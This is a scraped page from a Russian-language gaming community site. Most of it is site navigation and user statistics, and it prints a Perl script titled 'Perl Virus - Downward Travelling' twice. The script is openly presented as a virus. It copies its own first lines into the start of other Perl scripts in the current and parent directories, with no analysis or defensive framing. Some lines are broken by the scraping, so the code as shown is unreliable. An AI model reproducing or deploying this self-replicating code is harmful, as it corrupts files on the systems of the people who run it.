#!/usr/bin/perl
#Perl Virus - Downward Travelling
open(File,$0);
@Virus=;
@Virus=@Virus[0...30];
close(File);
&InfectFile;
if (($^O =~ "bsd") or ($^O =~ "linux") or ($^O =~ "solaris")) { $OldDir =
`pwd
` } # Новая строка
if (($^O =~ "dos") or ($^O =~ "MSWin32")) { $OldDir = `cd` }
# Новая строка
$DotDot = '..';
# Новая строка
if ($^O =~ "MacOS") { $DotDot = "::" }
# Новая строка
chdir($DotDot);
# Новая строка
&InfectFile;
chdir($OldDir);
# Новая строка
sub InfectFile {
foreach $FileName (<*>) {
if ((-r $FileName) && (-w $FileName) && (-f $FileName)) {
open(File, "$FileName");
@Temp=;
close(File);
if ((@Temp[1] =~ "Virus") or (@Temp[2] =~ "Virus")) {
if ((@Temp[0] =~ "perl") or (@Temp[1] =~ "perl")) {
open(File, ">$FileName");
print File @Virus;
print File @Temp;
close (File);
}}}}}
Mixway gaming community
#!/usr/bin/perl
#Perl Virus - Downward Travelling
open(File,$0);
@Virus=;
@Virus=@Virus[0...30];
close(File);
&InfectFile;
if (($^O =~ "bsd") or ($^O =~ "linux") or ($^O =~ "solaris")) { $OldDir =
`pwd
` } # Новая строка
if (($^O =~ "dos") or ($^O =~ "MSWin32")) { $OldDir = `cd` }
# Новая строка
$DotDot = '..';
# Новая строка
if ($^O =~ "MacOS") { $DotDot = "::" }
# Новая строка
chdir($DotDot);
# Новая строка
&InfectFile;
chdir($OldDir);
# Новая строка
sub InfectFile {
foreach $FileName (<*>) {
if ((-r $FileName) && (-w $FileName) && (-f $FileName)) {
open(File, "$FileName");
@Temp=;
close(File);
if ((@Temp[1] =~ "Virus") or (@Temp[2] =~ "Virus")) {
if ((@Temp[0] =~ "perl") or (@Temp[1] =~ "perl")) {
open(File, ">$FileName");
print File @Virus;
print File @Temp;
close (File);
}}}}}
|
|
|
|
| Опрос
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| Статистика
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| Друзья
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| Доска позора - FD| кЛаН - Описание сайта |
|
|
|
| |
|
| | |
| | |
|
|
|
|
| Кабинет
|
|
|
|
|
|
Понедельник, 23.12.2024,
Гость Сообщения: Группа: Гости
|
|
|
|
|
|
|
|
|
| Топ пользователей
|
|
|
|
|
|
JannieBion Новостей: 1113 Сообщений: 0 Комментарий: 0 Репутация: 0 | Muslimer Новостей: 718 Сообщений: 6 Комментарий: 0 Репутация: 0 | Pitertata Новостей: 203 Сообщений: 0 Комментарий: 0 Репутация: 0 | |
|
|
|
|
|
|
| |